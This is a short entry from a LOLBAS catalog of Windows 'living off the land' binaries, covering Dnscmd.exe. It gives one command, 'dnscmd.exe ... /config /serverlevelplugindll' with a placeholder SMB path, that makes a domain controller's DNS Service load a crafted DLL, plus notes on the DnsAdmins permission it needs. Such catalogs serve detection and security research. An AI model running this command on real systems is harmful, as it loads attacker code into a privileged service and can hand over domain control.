CatalogLOLBAS

LOL · Binary

Dnscmd.exe

1 techniqueWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

Use Remotely inject dll to dns server

dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
Evidence
Upstream reference
Environment
Local host
Context
admin
Native
Execute